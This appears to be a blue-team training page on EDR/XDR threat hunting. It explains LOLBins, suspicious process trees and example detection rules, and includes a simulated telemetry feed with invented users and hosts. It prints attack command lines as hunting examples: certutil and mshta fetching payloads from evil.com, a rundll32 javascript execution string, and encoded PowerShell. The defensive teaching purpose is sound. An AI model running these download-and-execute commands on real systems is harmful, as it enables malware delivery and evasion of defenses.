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EDR/XDR Threat Hunt Arena

Endpoint Telemetry • Behavioral Analytics • Process Trees

Blue TeamThreat HuntingEDR/XDRInteractive

CrowdStrike Global Outage (July 2024)

On July 19, 2024, a faulty CrowdStrike Falcon sensor update caused 8.5 million Windows machines worldwide to crash with Blue Screen of Death (BSOD).

  • •Impact: Airlines grounded, hospitals delayed surgeries, banks offline
  • •Root Cause: Null pointer dereference in C++ sensor code
  • •Lesson: EDR visibility is critical, but kernel-level access = high risk
  • •Takeaway: Modern orgs now use multi-vendor EDR (defense in depth)

What is EDR/XDR?

Endpoint Detection & Response (EDR) monitors endpoint activity (processes, files, network, registry) to detect and respond to threats.
Extended Detection & Response (XDR) correlates telemetry from endpoints, network, cloud, and identity systems for holistic threat hunting.

EDR Capabilities

  • Process Monitoring: Track process creation, injection, hollowing
  • File Activity: Monitor file creation, modification, deletion
  • Network Connections: Log all outbound/inbound connections
  • Registry Changes: Detect persistence mechanisms
  • Memory Forensics: Analyze running process memory

XDR Enhancements

  • Email Security: Correlate phishing with endpoint compromise
  • Cloud Logs: Integrate AWS CloudTrail, Azure AD logs
  • Identity: Track user behavior across systems
  • Network Traffic: Deep packet inspection (DPI)
  • SIEM Integration: Feed events to Splunk/Sentinel

Popular EDR/XDR Platforms

CrowdStrike Falcon

Cloud-native EDR/XDR with behavioral AI and threat intelligence

  • • Real-time process monitoring & blocking
  • • Integration with OverWatch threat hunting team
  • • Incident response automation (Fusion SOAR)

SentinelOne Singularity

AI-powered autonomous EDR with rollback & remediation

  • • Static AI (pre-execution detection)
  • • Behavioral AI (runtime analysis)
  • • One-click rollback of malicious changes

Microsoft Defender for Endpoint

Built-in Windows EDR with Azure integration

  • • Deep OS integration (no 3rd party agent)
  • • Attack Surface Reduction (ASR) rules
  • • Threat & Vulnerability Management (TVM)

Palo Alto Cortex XDR

Multi-source XDR with firewall & cloud integration

  • • Correlates endpoint + network + cloud
  • • Host Insights (vulnerability correlation)
  • • Managed Threat Hunting service

Threat Hunting Methodology

Threat hunting is proactive searching for threats that evade automated defenses. Unlike reactive alerts, hunting assumes breach has already occurred.

1

Hypothesis Formation

Based on threat intel, recent breaches, or anomaly patterns. Example: "Is there evidence of LOLBin abuse (living-off-the-land binaries)?"

2

Data Collection

Query EDR for relevant telemetry: process trees, PowerShell execution, unsigned DLLs, rare parent-child combos

3

Pattern Analysis

Look for anomalies: unusual process arguments, network beaconing, lateral movement tools (PsExec, WMI)

4

Investigation & Validation

Deep-dive into suspicious findings. Check MITRE ATT&CK mapping, VirusTotal hashes, threat intel feeds

5

Response & Remediation

If threat confirmed: isolate endpoint, kill process, collect forensics, hunt for lateral movement

LOLBins: Living Off the Land Binaries

LOLBins are legitimate Windows utilities that attackers abuse to evade detection. Since they're signed by Microsoft, traditional antivirus trusts them.

PowerShell Abuse

powershell.exe -enc <base64_payload>

Attackers encode malicious scripts in Base64 to bypass detection. Hunt for -enc, -Command, IEX (Invoke-Expression).

Certutil for Download

certutil -urlcache -f http://evil.com/mal.exe c:\temp\mal.exe

certutil.exe is for certificate management, but can download files. Hunt for -urlcache flag.

Rundll32 Execution

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"

Execute JavaScript/VBScript via rundll32. Hunt for unusual DLL arguments or script execution.

Mshta.exe for HTA

mshta.exe http://evil.com/payload.hta

Execute HTML Applications (HTA) with embedded VBScript/JScript. Hunt for remote URLs or suspicious .hta files.

Process Tree Analysis

Every process has a parent process. Attackers disrupt normal parent-child relationships (e.g., cmd.exe spawned by excel.exe = suspicious).

✅ Normal Process Trees

explorer.exe (Parent)
└─ chrome.exe (Child)
└─ chrome.exe --type=renderer
services.exe (Parent)
└─ svchost.exe (Child)

🚨 Suspicious Process Trees

excel.exe (Parent)
└─ cmd.exe (Child) ⚠️ Macro execution?
└─ powershell.exe -enc ... ⚠️
winword.exe (Parent)
└─ mshta.exe http://evil.com ⚠️

EDR Detection Rules (Examples)

Rule: PowerShell Encoded Command

IF process_name = "powershell.exe"
AND command_line CONTAINS "-enc" OR "-EncodedCommand"
THEN alert("Potential encoded PowerShell payload")

Rule: Office Application Spawning CMD

IF parent_process IN ["winword.exe", "excel.exe", "powerpnt.exe"]
AND child_process IN ["cmd.exe", "powershell.exe", "wscript.exe"]
THEN alert("Macro-based execution detected")

Rule: Unsigned DLL Loaded

IF dll_loaded.signed = FALSE
AND dll_path NOT IN whitelist
AND process_name IN ["lsass.exe", "explorer.exe"]
THEN alert("Potential DLL injection")

Rule: Rare Parent-Child Combo

IF process_pair_frequency < 0.01% (globally)
AND NOT in_baseline (last 30 days)
THEN flag_for_investigation()

EDR/XDR Best Practices

Do This:

  • Baseline normal behavior (30-90 days) to reduce false positives
  • Enable detailed logging (process args, network, file hashes)
  • Integrate with threat intel feeds (MISP, AlienVault OTX)
  • Regular threat hunts (weekly/bi-weekly cadence)
  • Test detection rules with MITRE ATT&CK emulation (Atomic Red Team)

Avoid This:

  • Alert fatigue from too many low-confidence detections
  • No visibility into Linux/Mac endpoints (Windows-only EDR)
  • Ignoring LOLBin abuse because binaries are "trusted"
  • Single-vendor dependency (CrowdStrike outage showed risks)
  • No retention policy (EDR logs deleted after 30 days)
Total Events (Last Hour)
7
High-Risk Detections
5
Benign Activity
2
Avg Risk Score
65
Showing 5 events

Process Events

powershell.exe
WS-FINANCE-01 • 14:32:18
Risk: 95
Parent Process
excel.exe
User
alice@corp.com
Command Line:
powershell.exe -enc JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBi...
MITRE ATT&CK: T1059.001 (PowerShell)
cmd.exe
WS-FINANCE-01 • 14:33:05
Risk: 75
Parent Process
powershell.exe
User
alice@corp.com
Command Line:
cmd.exe /c whoami /priv
MITRE ATT&CK: T1033 (System Owner/User Discovery)
certutil.exe
WS-SALES-05 • 14:35:22
Risk: 90
Parent Process
cmd.exe
User
bob@corp.com
Command Line:
certutil.exe -urlcache -f http://192.168.1.100/payload.exe c:\temp\update.exe
MITRE ATT&CK: T1105 (Ingress Tool Transfer)
update.exe
WS-SALES-05 • 14:36:10
Risk: 85
Parent Process
cmd.exe
User
bob@corp.com
Command Line:
c:\temp\update.exe
MITRE ATT&CK: T1204 (User Execution)
rundll32.exe
WS-IT-10 • 14:42:33
Risk: 92
Parent Process
explorer.exe
User
dave@corp.com
Command Line:
rundll32.exe javascript:"..mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript....
MITRE ATT&CK: T1218.011 (Rundll32)
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